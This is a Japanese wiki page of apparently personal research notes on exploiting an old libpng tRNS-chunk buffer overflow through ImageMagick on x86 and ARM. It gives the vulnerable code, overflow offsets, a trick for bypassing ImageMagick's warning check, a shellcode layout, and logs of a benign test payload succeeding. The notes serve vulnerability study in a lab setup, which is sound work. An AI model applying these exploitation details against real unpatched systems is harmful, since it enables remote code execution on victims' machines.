[[FrontPage]] > [[Armadillo-9]] > [[exploit libpng]]

*libpng [#d12dd66e]
-x86 の攻撃のときに得た、基礎的な知見を述べています。ARM 版の詳細はこちら。
--[[exploit libpng on ARM>exploit libpng_arm]]

**環境 [#e7297d25]
-CPU: x86
-OS: Debian Sarge
--Stack Randomization のパッチが当たっていないものを利用する
-target: imagemagick-6.0.4(Debian Sarge 版)
-target: libpng-1.2.5(オリジナル版)を少し改造する。
--コンパイラに渡すオプション -O3 を外す。
--imagemagick 側の対策を回避するために Warning のメッセージを少し変更する。(後述する)
-imagemagick に脆弱性のある libpng を LD_PRELOAD で差し込んで、脆弱性を作ってから攻撃する。
--LD_PRELOAD で複数のライブラリを指定するときはスペース区切りである。


**実行結果 [#lc1ec295]
-ARM 版で成功。
--攻撃が成功すると sys_execve が実行され、touch${IFS}/tmp/itworked が実行され、それにより /tmp/itworked が生成される。
--スタック開始地点の多少のずれには対応できるようにした。
 /tmp$ ls -la /tmp/itworked
 ls: /tmp/itworked: No such file or directory
 /tmp$ LD_PRELOAD="/home/katsuhiro/apps/libpng/libpng-1.2.5//libpng12.so" ./display_arm ./ex.png 
 ./display_arm: /home/katsuhiro/apps/libpng/libpng-1.2.5//libpng12.so: no version information available (required by /usr/lib/libMagick.so.6)
 /tmp$ ls -la /tmp/itworked
 -rw-r--r--  1 a users 0 Aug 22 12:11 /tmp/itworked 

-x86 で成功。
--攻撃が成功すると sys_execve が実行され、touch${IFS}/tmp/itworked が実行され、それにより /tmp/itworked が生成される。
--プログラム名があまりに長い(すごく深い位置のディレクトリに置いているなどする)と、スタックの開始位置がずれて攻撃が失敗したりします。困りますね…。
 /tmp$ ls -la /tmp/itworked
 ls: /tmp/itworked: No such file or directory
 /tmp$ LD_PRELOAD="./libpng12.so.0" /tmp/display /tmp/exploit_i386.png 
 /tmp/display: ./libpng12.so.0: no version information available (required by /usr/lib/libMagick.so.6)
 /tmp$ ls -la /tmp/itworked
 -rw-r--r--  1 a a 0 Aug 15 02:34 /tmp/itworked


**攻撃対象、条件 [#u1e7bc61]
***攻撃する箇所 [#f33723de]
-png_handle_tRNS() のエラーチェック部分にバッファオーバーフロー脆弱性がある。
--pngrutil.c の 1237行目あたりにある。
-(ARM 版)readbuf arg2(length) arg1(info_ptr) arg0(png_ptr) [20bytes] ret_addr のように並んでいる。
--x86版のようにリターンアドレスを使って攻撃できないので png_ptr を書き換えることによって、少し違う手法で攻撃する。
-(x86 版)readbuf の先頭からリターンアドレスまでの距離は 284バイトである。
--これより tRNS チャンクの先頭に指定するサイズは 288バイトとなる。

***脆弱性の詳細 [#n38b6551]
-readbuf という固定長バッファ(256 要素の png_byte 型配列)に png_crc_read でデータを読み込む。
--この際に指定される length はファイル由来、つまり tRNS チャンクの先頭で指定する数値である。(チャンクの構造は後述する)
-攻撃するコードは png_crc_read(png_ptr, readbuf, (png_size_t)length); である。
--png_crc_read が行われる前に length のチェックが入り、パレットの個数以上の length を指定した場合エラーとなるようになっている。
--しかしそのチェックがある条件下(※)では働かないようになっているため、readbuf に対してバッファオーバーフロー攻撃が可能である。
--(※)非常に大きなサイズを指定した tRNS チャンクを置くと、else if に記述されている条件によって弾かれてしまうが、PLTE チャンクの前に tRNS チャンクを配置することで先頭の if に記述されている条件に一致する。
--この際 Warning が出るが、ビューアアプリケーションがこの Warning を無視した場合、length のチェックが行われないまま png_crc_read が呼び出されることとなる。
 if (!(png_ptr->mode & PNG_HAVE_PLTE))
 {
   /* Should be an error, but we can cope with it */
   png_warning(png_ptr, "Missing PLTE before tRNS");
 }
 else if (length > (png_uint_32)png_ptr->num_palette) //[!]
 {
   png_warning(png_ptr, "Incorrect tRNS chunk length");
   png_crc_finish(png_ptr, length);
   return;
 }
 if (length == 0)
 {
   png_warning(png_ptr, "Zero length tRNS chunk");
   png_crc_finish(png_ptr, length);
   return;
 }
 png_crc_read(png_ptr, readbuf, (png_size_t)length); //[!]
 png_ptr->num_trans = (png_uint_16)length;

***imagemagick 側の対策について [#u6d68cff]
-libpng 側に脆弱性があっても、imagemagick 側で libpng の出す Warning をキャッチするハンドラ(png.c にある PNGWarningHandler 関数)で、本脆弱性の対策を行っている。これによって攻撃が成功しない。
--この処理は libMagick.so.6.0.6 でやってるようだ。
--ハンドラとなる PNGWarningHandler 関数は png.c の 1374行目あたりにある。
-以下の二行によって、本来見過ごされる Warning "Missing PLTE before tRNS" をキャッチして、エラーと見なしている。
--この二行がなければ、Warning は基本的に無視されるので攻撃が成功するはずである。
--簡単なのは libpng 側が投げるエラーを少し変更してしまうことである。文字列の単純比較によって判断しているので、例えば Warning メッセージの最後にスペースを入れるだけでも、このチェックは機能しなくなる。
 static void PNGWarningHandler(png_struct *ping,png_const_charp message)
 {
   Image
     *image;
 
   if (LocaleCompare(message, "Missing PLTE before tRNS") == 0) //[!]
     png_error(ping, message);                                  //[!]
   image=(Image *) png_get_error_ptr(ping);
   if (image->debug != MagickFalse)
     (void) LogMagickEvent(CoderEvent,GetMagickModule(),
       "  libpng-%s warning: %s", PNG_LIBPNG_VER_STRING,
       message);
   (void) ThrowMagickException(&image->exception,GetMagickModule(),CoderWarning,
     message,image->filename);
 }


*今回作成した攻撃データの詳細 [#l5adb397]
**今回作成した攻撃データの配置イメージ [#q2cf4cc6]
 0x: [適当なデータ]
 0x: [攻撃で使うデータ]
 0x: [mov r5, pc] <- この地点の pc からの相対位置(r5 に入れる)で攻撃に用いるデータを参照する
 0x: [攻撃コード]
 0x: [上書きするリターンアドレスの値]

-この配置の欠点は、バッファオーバーフロー攻撃によって上書きするリターンアドレスを、mov r5, pc の場所にピンポイントでねらわなければならないことである。
--それより手前なら攻撃データの部分を実行することになり、異常な命令を実行した、という例外が出るだろう。
--それより後を実行したなら、攻撃は成功しないだろう。
-この攻撃の元となった gv の攻撃コード(x86 版)は、攻撃に用いるデータを即値の push によって作り出しており、攻撃コードの手前には何も配置されていない。そのため上書きするリターンアドレスは攻撃コードのある程度手前ならばよく、ずれに対して猶予がある。
--ARM では即値の push ができないため同様の手法を実現するのは難しい。なんとしてもやりたいならば、sub や add を駆使して任意の値を作ることになる。
--しかし ARM は一命令でできることが少ない割に、4バイトも消費するので、複雑な処理はバッファの容量を超えてしまうかもしれない問題がある。


**データの配置 [#s7712357]
[r5]



*参考 [#c186d050]
**png のチャンクについて [#z89c2ba9]
-基本的なチャンクの構造は、次のようになっている。
--[長さ 4バイト][チャンク名 4バイト][データ 任意の長さ][CRC 4バイト]
-本脆弱性では、PLTE チャンクの前に tRNS チャンクを配置することによって実現される。


**参考文献 [#v32b779b]
-Debian セキュリティ情報~
http://www.debian.org/security/2004/dsa-570
-本脆弱性について非常に詳しく書かれている文書~
http://scary.beasts.org/security/CESA-2004-001.txt

トップ   編集 差分 履歴 添付 複製 名前変更 リロード   新規 一覧 検索 最終更新   ヘルプ   最終更新のRSS